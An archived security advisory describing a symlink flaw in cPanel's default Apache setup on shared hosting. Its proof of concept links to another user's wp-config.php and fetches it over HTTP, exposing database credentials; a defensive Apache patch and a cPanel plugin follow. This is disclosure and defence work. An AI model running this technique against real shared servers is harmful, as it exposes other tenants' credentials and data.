TUCoPS :: Web :: Apache :: va2655.htm

Apache directory traversal on shared hosting environment.
Apache directory traversal on shared hosting environment.
Apache directory traversal on shared hosting environment.



Apache implementation directory traversal and sensitive file disclosure in Shared Hosting environment.=0D
=0D
Chris Dixon and David Ibarra of the Hostgator.com Support Team discovered a severe vulnerability exists specifically in several large =0D
scale "pre-packaged" Apache implementations such as cPanel which allows a user to traverse directories and view any file which has readable =0D
access by the webserver. Our proof of concept demonstrates exploitation via a symlink in a chrooted jailed shell. This can be disabled by enabling the =0D
SymLinksIfOwnerMatch option in Apache however you must also change the AllowOverride default options as well. We also provide an Apache patch =0D
which can be implemented directly via an easyapache hook in order to disallow symlinks followed by anyone other than their owners.=0D
=0D
cPanel developers were notified of this vulnerability and given time to hotfix the issue.=0D
=0D
Their response was:=0D
=0D
After thoroughly investigating your report, we have come to the conclusion that this does not represent any deviation from the intended and documented behavior of Apache. As noted in your report, Apache's behavior with regard to symlinks is easily configurable via the FollowSymlinks and SymLinksIfOwnerMatch options. These settings can be changed inside WHM via Service Configuration -> Apache Configuration -> Global Configuration.  Simply uncheck "FollowSymLinks" in the "Directory / Options" section, save your settings and rebuild the configuration and restart Apache. Disabling "Options" overrides can be done via the Apache include editor by specifying an AllowOverride setting for the /home directory.=0D
=0D
While this is true, it should be noted that the default configuration in cPanel is readily exploitable after installation and that toggling these setting will ultimately cause issues with several large popular blog and CMS type applications. We feel this does not properly address the vulnerability in terms of a shared hosting environment.=0D
=0D
The patch is provided by David Collins (CTO, Hostgator.com) and Ray Carro (Developer, Hostgator.com).=0D
=0D
A symlink is created to another users wordpress configuration, which does not even exist in the chroot, resulting in a broken, unreadable symlink.=0D
=0D
dcarey@drewcarey.com [~/public_html]# ln -s /home/bbarker/public_html/wp-config.php vuln=0D 
dcarey@drewcarey.com [~/public_html]# ls -lsah=0D 
total 20K=0D
4.0K drwxr-x--- 3 dcarey nobody 4.0K Feb 17 22:25 ./=0D
4.0K drwxr-xr-x 9 dcarey dcarey 4.0K Feb 17 22:23 ../=0D
4.0K drwxr-xr-x 2 dcarey dcarey 4.0K Feb 17 22:17 cgi-bin/=0D
8.0K -rw-r--r-- 1 dcarey dcarey 4.1K Feb 10 18:16 default.html=0D
   0 lrwxrwxrwx 1 dcarey dcarey   39 Feb 17 22:25 vuln -> /home/bbarker/public_html/wp-config.php=0D
=0D
However, when viewed via Apache our file is shown in full.=0D
=0D
dcarey@drewcarey.com [~/public_html]# GET localhost/~dcarey/vuln=0D 
http://codex.wordpress.org/Editing_wp-config.php Editing=0D 
 * wp-config.php} Codex page. You can get the MySQL settings from your web host.=0D
 *=0D
 * This file is used by the wp-config.php creation script during the=0D
 * installation. You don't have to use the web site, you can just copy this file=0D
 * to "wp-config.php" and fill in the values.=0D
 *=0D
 * @package WordPress=0D
 */=0D
=0D
// ** MySQL settings - You can get this info from your web host ** //=0D
/** The name of the database for WordPress */=0D
define('DB_NAME', 'bbarker_wrdp1');=0D
=0D
/** MySQL database username */=0D
define('DB_USER', 'bbarker_wrdp1');=0D
=0D
/** MySQL database password */=0D
define('DB_PASSWORD', 'tcdwzlbq42Eo');=0D
=0D
/** MySQL hostname */=0D
define('DB_HOST', 'localhost');=0D
=0D
/** Database Charset to use in creating database tables. */=0D
define('DB_CHARSET', 'utf8');=0D
=0D
/** The Database Collate type. Don't change this if in doubt. */=0D
define('DB_COLLATE', '');=0D
--continued--=0D
=0D
=0D
=0D
Patch files:=0D
=0D
The actual Apache source patch is included in FollowSymLinks_to_OwnerMatch.patch=0D
=0D
We are also including a custom easyapache plugin for cPanel servers in order to add this as an option in EA3.  The patch has only been tested on Apache 2.2.11.  Changes may need to be performed in order for it to function with other versions.=0D
=0D
/var/cpanel/easy/apache/custom_opt_mods/Cpanel/Easy/Apache/FollowSymLinks_to_OwnerMatch.patch=0D
/var/cpanel/easy/apache/custom_opt_mods/Cpanel/Easy/Apache/FollowSymLinks_to_OwnerMatch.pm=0D
=0D
--- CUT FollowSymLinks_to_OwnerMatch.patch ---=0D
--- httpd-2.2.11/server/core.c.old      2009-02-17 21:49:22.000000000 -0600=0D
+++ httpd-2.2.11/server/core.c  2009-02-17 21:52:05.000000000 -0600=0D
@@ -1339,6 +1339,11 @@=0D
=0D
     (*opts) &= (~OPT_UNSET);=0D
=0D
+       if( (*opts) & OPT_SYM_LINKS )=0D
+       {=0D
+               *opts &= ~OPT_SYM_LINKS;=0D
+               *opts |= OPT_SYM_OWNER;=0D
+       }=0D
     return NULL;=0D
 }=0D
=0D
@@ -1476,6 +1481,13 @@=0D
             d->opts |= opt;=0D
         }=0D
     }=0D
+=0D
+        if( (d->opts) & OPT_SYM_LINKS )=0D
+        {=0D
+                d->opts &= ~OPT_SYM_LINKS;=0D
+                d->opts |= OPT_SYM_OWNER;=0D
+        }=0D
+=0D
=0D
     return NULL;=0D
 }=0D
--- CUT FollowSymLinks_to_OwnerMatch.patch ---=0D
( Direct link to patch http://69.93.178.39/FollowSymLinks_to_OwnerMatch.patch )=0D 
=0D
=0D
--- CUT FollowSymLinks_to_OwnerMatch.pm ---=0D
# FollowSymLinks to OwnerMatch=0D
# written by: David Collins and Ray Carro, HostGator.com LLC=0D
=0D
package Cpanel::Easy::Apache::FollowSymLinks_to_OwnerMatch;=0D
=0D
our $easyconfig = {=0D
    'name'    => 'FollowSymLinks to SymLinksIfOwnerMatch',=0D
    'version' => '$Rev: 0001 $',=0D
    'hastargz' => 0,=0D
    'step'    => {=0D
        '0' => {=0D
            'name'    => 'Adding security patch for Apache',=0D
            'command' => sub {=0D
                my ($self) = @_;=0D
                return $self->apply_patch( '/var/cpanel/easy/apache/custom_opt_mods/Cpanel/Easy/Apache/FollowSymLinks_to_OwnerMatch.patch' );=0D
                my $added_to_apache = 0;=0D
                my $pns = 'Cpanel::Easy::Apache';=0D
                if ( $self->{'working_profile'}{$pns} ) {=0D
                    foreach my $spec ( $pns->versions() ) {=0D
                        if ( $self->{'working_profile'}{ $pns . '::' . $spec } ) {=0D
                            my @rc = $self->add_to_modify_later_queue( $pns . '::' . $spec, $apache_steps );=0D
                            $added_to_apache++ if $rc[0];=0D
                        }=0D
                    }=0D
                }=0D
                if ($added_to_apache) {=0D
                    return ( 1, 'Ok' );=0D
                }=0D
                else {=0D
                    return ( 0, 'Failed to patch Apache' );=0D
                }=0D
                return ( 1, 'Ok' );=0D
            },=0D
        },=0D
    },=0D
};=0D
=0D
1;=0D
--- CUT FollowSymLinks_to_OwnerMatch.pm ---=0D
(This perl module is optional for cPanel users for automatic hooking into easyapache)=0D
(Direct link to module http://69.93.178.39/FollowSymLinks_to_OwnerMatch.pm :: Place in /var/cpanel/easy/apache/custom_opt_mods/Cpanel/Easy/Apache/ along with patch.)=0D 
=0D
Special thanks to: Patrick Pelanne for additional research along with the rest of the HG support team.=0D
=0D
NOTE: Hostgator.com is seeking qualified Linux administrators! Please send your resume to jobs@hostgator.com=0D 

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH